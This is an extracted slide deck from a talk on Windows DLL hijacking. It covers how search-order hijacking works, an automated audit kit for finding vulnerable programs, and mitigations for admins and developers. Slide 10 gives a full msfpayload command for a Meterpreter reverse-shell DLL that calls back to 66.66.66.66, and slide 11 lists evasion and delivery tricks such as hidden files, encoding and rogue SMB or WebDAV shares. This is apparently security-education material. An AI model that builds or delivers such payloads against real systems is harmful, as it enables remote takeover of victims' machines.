DLL hijacking is a technique that tricks a program into loading a malicious DLL instead of the expected one. It works by placing the malicious DLL in a location the program searches before its expected DLL path. An audit tool was demonstrated that automates detecting exploitable extensions by generating test files and monitoring the program and DLL loading behavior. The document proposes ways to deliver a malicious payload via a hijacked DLL and discusses mitigations like disabling WebDAV/SMB shares and having programs securely load DLLs.

1. How To Become a Hijacking Terrorist DLL Hijacking for fun and profit

2. DLL Hijacking Overview DLL Hijacking: Trick a program to use a malicious DLL instead of the normal DLL HDM found that when opening a file associated to a program, the file will look in the local path for the referenced DLLs of the program before looking inside the correct location of the associated executable

3. PCAP Example - Normal

4. PCAP Example - Hijacked

5. DLL Hijacking Old trick – new dog Linux removed “.” from $PATH Client side, WebDAV, or remote SMB share Widely exploitable Easy to detect

6. DLLHijackAuditKit Automates the detection Generates test scenarios for each file extension and automatically creates an exploitable file Searches every extension

7. Demo

8. Audit.js Download procmon from sysinternals Opens procmon and filters for operations that begins with "IRP_MJ_" or "FASTIO_". Use WMI to query the local system and file all the possible file extensions it can handle Generate test cases for each file scenario. Make a dummy file with the word “Howdy…” in it named after the extension being tested Automatically open each file from command line While opening, log file system activity in procmon Wait a few seconds and then close out the program and try the next file When you get all done, you need to save the procmon file as LogFile.csv. This logfile will have the executable related to the file that was opened and also the path that it tried to look for a DLL.

9. Analyze.js Parses the LogFile.csv for the executable and the DLL that it was looking for (wireshark.exe and airpcap.dll) Generate test scenarios and copy in a dummy DLL named after the real DLL it’s looking for. run the file again if it is successful, the DLL will create a txt file named exploit.txt Repeat this step for each EXE and DLL pair to verify which are actively exploitable

10. Real World Attack Scenario Generate Payload: msfpayload windows/meterpreter/reverse_tcp LHOST=66.66.66.66 LPORT=4242 D > exploit.dll Rename to the DLL that the EXE is looking for Put the DLL in the same folder as a file with an associated extension Deliver file and DLL

11. Tricks Use the Hidden attribute Obfuscate with lots of other files MSFEncode the payload Create a link to a subfolder Road Apples Host a SMB share on the net! Create a WebDAV share

12. Mitigation Admins: Microsoft tool to catch illegal DLL references http://support.microsoft.com/kb/2264107 CWDIllegalInDllSearch registry Disable WebDAV Disable outbound SMB (139 445) Developers: Load DLL’s securely

13. References http://www.microsoft.com/technet/security/advisory/2269637.mspx http://blog.metasploit.com/2010/08/better-faster-stronger.html

14. 0day (AFAIK) RDP .dll